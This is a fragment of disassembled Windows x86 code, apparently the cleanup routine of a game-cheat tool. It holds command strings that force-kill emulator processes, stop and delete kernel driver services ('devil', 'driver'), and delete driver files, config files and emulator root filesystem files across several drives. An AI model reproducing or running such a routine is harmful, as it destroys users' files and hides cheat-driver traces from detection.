call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456530
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x456530
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x634a44
mov ecx, eax
call fcn.0045fda0
call fcn.00458d40
push 0x7d0
call edi
sub esp, 0x18
mov ecx, esp
push str.TaskKill__f__im_adb.exe
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.TaskKill__f__im_AndroidEmulator.exe
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.TaskKill__f__im_AndroidEmulatorEn.exe
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.TaskKill__f__im_AndroidEmulatorEx.exe
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.sc_stop_devil__sc_delete_devil
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.del_C:devil.sys
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.del_C:UserCustom.ini
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.del_C:RESET_10_min.bat
call fcn.0045d750
call fcn.00456ba0
mov ecx, esp
push str.del_C::GuestReset.bat
call fcn.0045d750
call fcn.00456ba0
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.C:Program_Files__x86_SmartGaGaProjectTitan_androidfs_7.1.2_root
call esi
push 0x6377fc
call esi
push 0x63782c
call esi
push str.C:Program_FilesTxGameAssistantAOW_Rootfs_100
call esi
push 0x637890
call esi
push 0x6378c0
call esi
push str.D:Program_FilesTxGameAssistantAOW_Rootfs_100
call esi
push 0x637924
call esi
push 0x637954
call esi
push str.E:Program_FilesTxGameAssistantAOW_Rootfs_100
call esi
add esp, 0x40
mov dword [ebp - 0x1c8], 0x458d10
lea eax, [ebp - 0x1c8]
lea ecx, [ebp - 0x17c]
push eax
call fcn.00460610
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x10
call fcn.0044cba0
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x178], 0
je 0x45b01d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
sub esp, 0x18
mov ecx, esp
push str.sc_stop_driver
call fcn.0045d750
call fcn.004579a0
mov ecx, esp
push str.sc_delete_driver
call fcn.0045d750
call fcn.004579a0
push str.C:VENUS.sys
call esi
add esp, 0x1c
lea ecx, [ebp - 0x148]
call fcn.0045d700
lea ecx, [ebp - 0x1bc]
call fcn.0045d700
lea ecx, [ebp - 0x194]
call fcn.0045d700
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005badf4
mov esp, ebp
pop ebp
ret